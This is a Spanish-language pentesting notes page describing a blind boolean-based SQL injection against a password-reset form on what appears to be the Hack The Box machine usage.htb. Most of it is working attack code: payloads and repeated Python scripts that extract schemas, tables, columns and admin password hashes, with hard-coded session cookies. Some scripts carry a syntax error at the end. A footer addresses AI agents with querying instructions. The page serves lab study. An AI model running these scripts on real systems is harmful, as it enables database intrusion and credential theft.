> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md).

# Respuestas condicionales de SQLi

## SQLI:

Descubrimos un panel de restablecimiento de contraseña vulnerable a una inyección SQL

<figure><img src="/files/382358a18e1a3f39dfa503d487ed46658f0e3c37" alt=""><figcaption></figcaption></figure>

. Al interceptar las solicitudes con Burp Suite, obtenemos el mensaje "*Hemos enviado tu contraseña por correo electrónico*".

<figure><img src="/files/1bd81dd75fe23b034716344c068fa910c0f29537" alt=""><figcaption></figcaption></figure>

Cuando intentamos una inyección SQL básica, esta tiene éxito y volvemos a recibir el mismo mensaje de error, confirmando que la inyección funciona. La inyección básica de prueba es: `iojfeifif' or 1=1-- -`

<figure><img src="/files/85fa2594dff9c186f66eea0134e3a4c5823d3472" alt="" width="563"><figcaption></figcaption></figure>

### Respuestas condicionales de SQLi:

> Aunque los resultados de la consulta SQL no se devuelven y no aparece ningún mensaje de error, la aplicación muestra en la página el mensaje "hemos enviado tu contraseña por correo electrónico" si la petición devuelve filas. Verificamos esta hipótesis lanzando una inyección condicional usando la función `substring` para extraer las primeras letras del nombre de la base de datos. Ejemplo de inyección:

* Prueba la primera letra del nombre de la base de datos\:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Prueba la segunda letra del nombre de la base de datos: `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/6beef76c09eccb59fd5a20ae16a888fb5a9862c1" alt=""><figcaption></figcaption></figure>

### Enumeración del nombre de la base de datos:

Automatizamos el descubrimiento del nombre de la base de datos con un script de Python que envía cargas útiles específicas y registra los resultados cuando el servidor muestra la respuesta "hemos enviado tu contraseña por correo electrónico".

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Respuestas condicionales de SQLi
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
# Respuestas condicionales de SQLi
signal.signal(signal.SIGINT, def_handler)
# Respuestas condicionales de SQLi
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)
    p2 = log.progress("Extracted Data")
    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            # Envía la solicitud POST con el payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Muestra en tiempo real el carácter que se está probando actualmente
            p1.status(f"Probando posición {position}: {character}")
            # Comprueba una respuesta específica del servidor para confirmar el carácter correcto
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Si se encontró un carácter para esta posición, pasa a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: Carácter no encontrado")
    Fuerza bruta de inyección SQL concluida
    Datos extraídos: {data}
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/58b326051d0883449a04eb27f5acafaee1ffc870" alt="" width="440"><figcaption></figcaption></figure>

### Enumeración de bases de datos:

Modificamos el payload para enumerar todas las bases de datos del servidor. Usamos `group_concat` de `information_schema.schemata` para obtener los nombres de bases de datos disponibles.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Respuestas condicionales de SQLi
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
# Respuestas condicionales de SQLi
signal.signal(signal.SIGINT, def_handler)
# Respuestas condicionales de SQLi
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)
    p2 = log.progress("Extracted Data")
    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
            }
            # Envía la solicitud POST con el payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Muestra en tiempo real el carácter que se está probando actualmente
            p1.status(f"Probando posición {position}: {character}")
            # Comprueba una respuesta específica del servidor para confirmar el carácter correcto
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Si se encontró un carácter para esta posición, pasa a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: Carácter no encontrado")
    Fuerza bruta de inyección SQL concluida
    Datos extraídos: {data}
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/2ed3e317391ac56099701aeb79cb0ac5902f03ad" alt="" width="563"><figcaption></figcaption></figure>

### Enumeración de tablas para la base de datos `usage_blog`:

Después de encontrar la `usage_blog` base de datos, modificamos el payload de nuevo para enumerar las tablas de esta base de datos. usamos la `group_concat` función para recuperar todos los nombres de tabla de la `usage_blog` base de datos.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Respuestas condicionales de SQLi
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
# Respuestas condicionales de SQLi
signal.signal(signal.SIGINT, def_handler)
# Respuestas condicionales de SQLi
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)
    p2 = log.progress("Extracted Data")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
            }
            # Envía la solicitud POST con el payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Muestra en tiempo real el carácter que se está probando actualmente
            p1.status(f"Probando posición {position}: {character}")
            # Comprueba una respuesta específica del servidor para confirmar el carácter correcto
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Si se encontró un carácter para esta posición, pasa a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: Carácter no encontrado")
    Fuerza bruta de inyección SQL concluida
    Datos extraídos: {data}
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/45111d2c39a710be4179e9a587882cf61303dabb" alt=""><figcaption></figcaption></figure>

### Enumeración de columnas para la tabla `admin_users`:

Una vez identificada la tabla, apuntamos a la tabla `admin_users` para enumerar sus columnas. usamos una vez más la función `group_concat` para recuperar los nombres de las columnas de esta tabla específica.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)
)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Respuestas condicionales de SQLi
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
# Respuestas condicionales de SQLi
signal.signal(signal.SIGINT, def_handler)
# Respuestas condicionales de SQLi
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)
    p2 = log.progress("Extracted Data")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character)
            }
            # Envía la solicitud POST con el payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Muestra en tiempo real el carácter que se está probando actualmente
            p1.status(f"Probando posición {position}: {character}")
            # Comprueba una respuesta específica del servidor para confirmar el carácter correcto
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Si se encontró un carácter para esta posición, pasa a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: Carácter no encontrado")
    Fuerza bruta de inyección SQL concluida
    Datos extraídos: {data}
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/ae335ebbe0f49be2e8459ad9d29e563b3ffae8c6" alt=""><figcaption></figcaption></figure>

### Visualización de `username` y `contraseña`:

Para mostrar las credenciales y contraseñas de los usuarios de la tabla `admin_users`, la consulta SQL se modificará para concatenar los campos `username` y `contraseña`

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Respuestas condicionales de SQLi
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
# Respuestas condicionales de SQLi
signal.signal(signal.SIGINT, def_handler)
# Respuestas condicionales de SQLi
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL Injection")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)
    p2 = log.progress("Extracted Data")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
            }
            # Envía la solicitud POST con el payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Muestra en tiempo real el carácter que se está probando actualmente
            p1.status(f"Probando posición {position}: {character}")
            # Comprueba una respuesta específica del servidor para confirmar el carácter correcto
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Si se encontró un carácter para esta posición, pasa a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: Carácter no encontrado")
    Fuerza bruta de inyección SQL concluida
    Datos extraídos: {data}
if __name__ == '__main__':
    sqli()

```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/8409556ecf9662578dd03946141e07c183c428fa" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
